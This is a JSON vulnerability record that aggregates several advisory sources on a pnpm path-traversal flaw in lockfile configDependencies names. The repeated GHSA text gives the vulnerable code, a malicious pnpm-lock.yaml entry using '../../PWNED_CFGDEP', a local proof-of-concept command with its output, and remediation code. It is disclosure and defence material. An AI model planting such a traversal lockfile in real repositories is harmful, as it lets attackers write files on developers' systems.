{"id":"CVE-2026-59195","aliases":["EUVD-2026-41883","GHSA-qrv3-253h-g69c","ROOT-APP-NPM-GHSA-qrv3-253h-g69c"],"status":"published","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","description":"pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00401,"percentile":0.3489,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-06-27T00:13:18Z","modified":"2026-10-28T02:30:52Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["10.34.4","11.8.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/pnpm","fixed_in":["10.32.1-root.io.1","10.32.1-root.io.2","10.32.1-root.io.3","10.32.1-root.io.4"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"pnpm","fixed_in":["10.32.1-aikido.1","10.32.1-aikido.2","10.32.1-aikido.3","10.32.1-aikido.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.34.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.8.0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.34.4"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.8.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.32.1-root.io.1"},{"fixed":"10.32.1-root.io.2"},{"fixed":"10.32.1-root.io.3"},{"fixed":"10.32.1-root.io.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.32.1-aikido.1"},{"fixed":"10.32.1-aikido.2"},{"fixed":"10.32.1-aikido.3"},{"fixed":"10.32.1-aikido.4"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/advisories/GHSA-qrv3-253h-g69c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59195.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59195","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59195","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","description":"pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.","status":"published","published":"2026-07-06T15:21:03.101Z","modified":"2026-07-07T14:06:17.178Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-41883","description":"pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.","status":"published","published":"2026-07-06T15:21:03Z","modified":"2026-07-07T14:06:17Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T18:20:11.925616Z"}],"ghsa":[{"id":"GHSA-qrv3-253h-g69c","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","description":"## Summary\n\n`pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`.\n\nA malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name.\n\nIn local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory:\n\n```text\nexpected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\nactual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis works with `--ignore-scripts`, so it does not rely on lifecycle script execution.\n\n## Vulnerable behavior\n\nThe vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.\n\nThe relevant pattern is:\n\n```ts\nconst configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')\n\nfor (const [pkgName, pkg] of Object.entries(normalizedDeps)) {\n  const configDepPath = path.join(configModulesDir, pkgName)\n\n  const pkgDirInGlobalVirtualStore = path.join(\n    globalVirtualStoreDir,\n    relPath,\n    'node_modules',\n    pkgName\n  )\n\n  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)\n}\n```\n\nIf `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`.\n\n## Impact\n\nA malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install.\n\nThis gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.\n\nThe issue is especially relevant because:\n\n* The malicious input is committed in `pnpm-lock.yaml`.\n* The issue is triggered during `pnpm install`.\n* It works with `--ignore-scripts`.\n* It occurs in the config dependency installation path, before ordinary dependency installation.\n* The user only needs to install a malicious or compromised repository.\n\n## Local proof of concept\n\nThe following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`.\n\nCommand used:\n\n```bash\npython3 ../pnpm_configdeps_path_traversal_poc.py \\\n  --pnpm-cmd \"node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs\" \\\n  --keep 2\u003e\u00261 | tee /tmp/pnpm-configdeps-poc.log\n```\n\nObserved output:\n\n```text\n[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim\n[+] Local registry:     http://127.0.0.1:36545/\n[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store\n[+] Malicious name:     '../../PWNED_CFGDEP'\n[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml\n[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/\n```\n\npnpm output:\n\n```text\nInstalling config dependencies...\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\nAlready up to date\n\nDone in 906ms using pnpm v11.5.1\n```\n\nThe PoC then detected the escaped symlink:\n\n```text\n[+] Traversal sink status: symlink -\u003e ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n\n[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config\n            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n```\n\n## Malicious lockfile structure\n\nThe malicious input is an env-lockfile `configDependencies` key containing traversal components:\n\n```yaml\nimporters:\n  .:\n    configDependencies:\n      legit-config-dep:\n        specifier: '1.0.0'\n        version: '1.0.0'\n      '../../PWNED_CFGDEP':\n        specifier: '1.0.0'\n        version: '1.0.0'\n```\n\npnpm accepts the traversal-shaped name and reports it as installed:\n\n```text\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\n```\n\n## Security boundary violation\n\nThe intended config dependency root was:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n```\n\nBut pnpm created:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.\n\n## Suggested remediation\n\nValidate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.\n\nRecommended fixes:\n\n1. Reject env-lockfile `configDependencies` names that are not valid npm package names.\n2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators.\n3. Use containment-checked path joining before creating symlinks:\n\n   * resolve the final destination path,\n   * verify it remains inside `node_modules/.pnpm-config`,\n   * reject if it escapes.\n4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.\n5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected.\n\nA safe destination check should enforce behavior equivalent to:\n\n```ts\nconst dest = path.resolve(configModulesDir, pkgName)\n\nif (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {\n  throw new Error(`Invalid config dependency name: ${pkgName}`)\n}\n```\n\nName validation should happen before this check, not instead of it.","status":"published","published":"2026-06-27T00:13:18Z","modified":"2026-06-27T00:13:21Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:34.713036Z"}],"nvd":[{"id":"CVE-2026-59195","description":"pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.","status":"published","published":"2026-07-06T16:16:37.683Z","modified":"2026-07-07T19:09:30.49Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:28.040501Z"}],"osv":[{"id":"CVE-2026-59195","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","description":"pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.","status":"published","published":"2026-07-06T15:21:03.101Z","modified":"2026-10-28T02:30:52.145500441Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-qrv3-253h-g69c","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","description":"## Summary\n\n`pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`.\n\nA malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name.\n\nIn local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory:\n\n```text\nexpected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\nactual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis works with `--ignore-scripts`, so it does not rely on lifecycle script execution.\n\n## Vulnerable behavior\n\nThe vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.\n\nThe relevant pattern is:\n\n```ts\nconst configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')\n\nfor (const [pkgName, pkg] of Object.entries(normalizedDeps)) {\n  const configDepPath = path.join(configModulesDir, pkgName)\n\n  const pkgDirInGlobalVirtualStore = path.join(\n    globalVirtualStoreDir,\n    relPath,\n    'node_modules',\n    pkgName\n  )\n\n  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)\n}\n```\n\nIf `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`.\n\n## Impact\n\nA malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install.\n\nThis gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.\n\nThe issue is especially relevant because:\n\n* The malicious input is committed in `pnpm-lock.yaml`.\n* The issue is triggered during `pnpm install`.\n* It works with `--ignore-scripts`.\n* It occurs in the config dependency installation path, before ordinary dependency installation.\n* The user only needs to install a malicious or compromised repository.\n\n## Local proof of concept\n\nThe following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`.\n\nCommand used:\n\n```bash\npython3 ../pnpm_configdeps_path_traversal_poc.py \\\n  --pnpm-cmd \"node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs\" \\\n  --keep 2\u003e\u00261 | tee /tmp/pnpm-configdeps-poc.log\n```\n\nObserved output:\n\n```text\n[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim\n[+] Local registry:     http://127.0.0.1:36545/\n[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store\n[+] Malicious name:     '../../PWNED_CFGDEP'\n[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml\n[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/\n```\n\npnpm output:\n\n```text\nInstalling config dependencies...\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\nAlready up to date\n\nDone in 906ms using pnpm v11.5.1\n```\n\nThe PoC then detected the escaped symlink:\n\n```text\n[+] Traversal sink status: symlink -\u003e ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n\n[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config\n            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n```\n\n## Malicious lockfile structure\n\nThe malicious input is an env-lockfile `configDependencies` key containing traversal components:\n\n```yaml\nimporters:\n  .:\n    configDependencies:\n      legit-config-dep:\n        specifier: '1.0.0'\n        version: '1.0.0'\n      '../../PWNED_CFGDEP':\n        specifier: '1.0.0'\n        version: '1.0.0'\n```\n\npnpm accepts the traversal-shaped name and reports it as installed:\n\n```text\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\n```\n\n## Security boundary violation\n\nThe intended config dependency root was:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n```\n\nBut pnpm created:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.\n\n## Suggested remediation\n\nValidate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.\n\nRecommended fixes:\n\n1. Reject env-lockfile `configDependencies` names that are not valid npm package names.\n2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators.\n3. Use containment-checked path joining before creating symlinks:\n\n   * resolve the final destination path,\n   * verify it remains inside `node_modules/.pnpm-config`,\n   * reject if it escapes.\n4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.\n5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected.\n\nA safe destination check should enforce behavior equivalent to:\n\n```ts\nconst dest = path.resolve(configModulesDir, pkgName)\n\nif (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {\n  throw new Error(`Invalid config dependency name: ${pkgName}`)\n}\n```\n\nName validation should happen before this check, not instead of it.","status":"published","published":"2026-06-27T00:13:18Z","modified":"2026-07-08T08:26:43.572048973Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"ROOT-APP-NPM-GHSA-qrv3-253h-g69c","title":"GHSA-qrv3-253h-g69c in @rootio/pnpm - Patched by Root","description":"Root has patched GHSA-qrv3-253h-g69c in the @rootio/pnpm package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-30T10:40:28Z","modified":"2026-07-30T12:18:49.427126153Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
